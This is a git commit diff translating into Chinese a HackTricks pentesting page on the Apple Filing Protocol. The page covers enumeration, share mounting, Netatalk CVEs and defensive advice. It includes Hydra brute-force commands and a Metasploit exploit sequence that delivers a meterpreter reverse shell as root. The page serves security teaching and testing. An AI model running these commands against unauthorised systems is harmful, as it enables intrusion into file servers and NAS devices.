mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to
This commit is contained in:
parent
d86fde4699
commit
4b50505811
@ -4,27 +4,109 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**Apple Filing Protocol** (**AFP**),曾被称为 AppleTalk Filing Protocol,是一个专门的网络协议,包含在 **Apple File Service** (**AFS**) 中。它旨在为 macOS 和经典 Mac OS 提供文件服务。AFP 的特点是支持 Unicode 文件名、POSIX 和访问控制列表权限、资源分支、命名扩展属性以及复杂的文件锁定机制。它是 Mac OS 9 及更早版本中文件服务的主要协议。
|
||||
**Apple Filing Protocol** (**AFP**),曾被称为 AppleTalk Filing Protocol,是一种专门的网络协议,包含在 **Apple File Service** (**AFS**) 中。它旨在为 macOS 和经典 Mac OS 提供文件服务。AFP 的特点是支持 Unicode 文件名、POSIX 风格和 ACL 权限、资源分叉、命名扩展属性以及复杂的文件锁定机制。
|
||||
|
||||
**默认端口:** 548
|
||||
尽管 AFP 在现代 macOS 版本中已被 SMB 取代(自 OS X 10.9 起,SMB 为默认协议),但仍然可以在以下环境中遇到:
|
||||
|
||||
* 传统的 macOS / Mac OS 9 环境
|
||||
* 嵌入开源 **Netatalk** 守护进程的 NAS 设备(QNAP、Synology、Western Digital、TrueNAS…)
|
||||
* 仍启用 Time-Machine-over-AFP 的混合操作系统网络
|
||||
|
||||
**默认 TCP 端口:** **548**(AFP over TCP / DSI)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
```
|
||||
### **枚举**
|
||||
---
|
||||
|
||||
对于AFP服务的枚举,以下命令和脚本是有用的:
|
||||
## 枚举
|
||||
|
||||
### 快速横幅 / 服务器信息
|
||||
```bash
|
||||
msf> use auxiliary/scanner/afp/afp_server_info
|
||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||
# Metasploit auxiliary
|
||||
use auxiliary/scanner/afp/afp_server_info
|
||||
run RHOSTS=<IP>
|
||||
|
||||
# Nmap NSE
|
||||
nmap -p 548 -sV --script "afp-* and not dos" <IP>
|
||||
```
|
||||
**脚本及其描述:**
|
||||
有用的 AFP NSE 脚本:
|
||||
|
||||
- **afp-ls**: 此脚本用于列出可用的 AFP 卷和文件。
|
||||
- **afp-path-vuln**: 它列出所有 AFP 卷和文件,并突出显示潜在的漏洞。
|
||||
- **afp-serverinfo**: 这提供有关 AFP 服务器的详细信息。
|
||||
- **afp-showmount**: 它列出可用的 AFP 共享及其各自的 ACL。
|
||||
| 脚本 | 功能 |
|
||||
|--------|--------------|
|
||||
| **afp-ls** | 列出可用的 AFP 卷和文件 |
|
||||
| **afp-brute** | 对 AFP 登录进行密码暴力破解 |
|
||||
| **afp-serverinfo** | 转储服务器名称、机器类型、AFP 版本、支持的 UAM 等 |
|
||||
| **afp-showmount** | 列出共享及其 ACL |
|
||||
| **afp-path-vuln** | 检测(并可以利用)目录遍历,CVE-2010-0533 |
|
||||
|
||||
### [**暴力破解**](../generic-hacking/brute-force.md#afp)
|
||||
如果需要更多控制,可以将 NSE 暴力破解脚本与 Hydra/Medusa 结合使用:
|
||||
```bash
|
||||
hydra -L users.txt -P passwords.txt afp://<IP>
|
||||
```
|
||||
### 与共享交互
|
||||
|
||||
*macOS*
|
||||
```bash
|
||||
# Finder → Go → "Connect to Server…"
|
||||
# or from terminal
|
||||
mkdir /Volumes/afp
|
||||
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
|
||||
```
|
||||
*Linux* (使用 `afpfs-ng` ‑ 大多数发行版中打包)
|
||||
```bash
|
||||
apt install afpfs-ng
|
||||
mkdir /mnt/afp
|
||||
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
|
||||
# or interactive client
|
||||
afp_client <IP>
|
||||
```
|
||||
一旦挂载,请记住经典的 Mac 资源分支作为隐藏的 `._*` AppleDouble 文件存储 – 这些文件通常包含 DFIR 工具遗漏的有趣元数据。
|
||||
|
||||
---
|
||||
|
||||
## 常见漏洞与利用
|
||||
|
||||
### Netatalk 未经身份验证的 RCE 链 (2022)
|
||||
|
||||
多个 NAS 供应商发布了 **Netatalk ≤3.1.12**。在 `parse_entries()` 中缺乏边界检查使攻击者能够构造恶意的 **AppleDouble** 头并在身份验证之前获得 **远程根权限** (**CVSS 9.8 – CVE-2022-23121**)。NCC Group 提供了关于利用 Western-Digital PR4100 的完整报告和 PoC。
|
||||
|
||||
Metasploit (>= 6.3) 提供了模块 `exploit/linux/netatalk/parse_entries`,该模块通过 DSI `WRITE` 传递有效载荷。
|
||||
```bash
|
||||
use exploit/linux/netatalk/parse_entries
|
||||
set RHOSTS <IP>
|
||||
set TARGET 0 # Automatic (Netatalk)
|
||||
set PAYLOAD linux/x64/meterpreter_reverse_tcp
|
||||
run
|
||||
```
|
||||
如果目标运行受影响的 QNAP/Synology 固件,成功利用将获得 **root** 权限的 shell。
|
||||
|
||||
### Netatalk OpenSession 堆溢出 (2018)
|
||||
|
||||
较旧的 Netatalk (3.0.0 - 3.1.11) 存在 **DSI OpenSession** 处理程序中的越界写入漏洞,允许未经身份验证的代码执行 (**CVE-2018-1160**)。Tenable Research 发布了详细的分析和 PoC。
|
||||
|
||||
### 其他显著问题
|
||||
|
||||
* **CVE-2022-22995** – 符号链接重定向导致任意文件写入 / RCE,当启用 AppleDouble v2 时 (3.1.0 - 3.1.17)。
|
||||
* **CVE-2010-0533** – Apple Mac OS X 10.6 AFP 中的目录遍历 (由 `afp-path-vuln.nse` 检测)。
|
||||
* 在 **Netatalk 4.x (2024)** 中修复了多个内存安全漏洞 – 建议升级而不是修补单个 CVE。
|
||||
|
||||
---
|
||||
|
||||
## 防御建议
|
||||
|
||||
1. **禁用 AFP**,除非严格需要 – 使用 SMB3 或 NFS。
|
||||
2. 如果必须保留 AFP,**升级 Netatalk 至 ≥ 3.1.18 或 4.x**,或应用供应商固件以回溯 2022/2023/2024 的补丁。
|
||||
3. 强制执行 **强 UAMs** (例如 *DHX2*),禁用明文和访客登录。
|
||||
4. 将 TCP 548 限制在受信任的子网内,并在远程暴露时将 AFP 包裹在 VPN 内。
|
||||
5. 定期使用 `nmap -p 548 --script afp-*` 在 CI/CD 中扫描,以捕捉流氓 / 降级设备。
|
||||
|
||||
---
|
||||
|
||||
### [暴力破解](../generic-hacking/brute-force.md#afp)
|
||||
|
||||
## 参考文献
|
||||
|
||||
* Netatalk 安全公告 CVE-2022-23121 – "parse_entries 中的任意代码执行" <https://netatalk.io/security/CVE-2022-23121>
|
||||
* Tenable Research – "利用一个 18 年的漏洞 (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user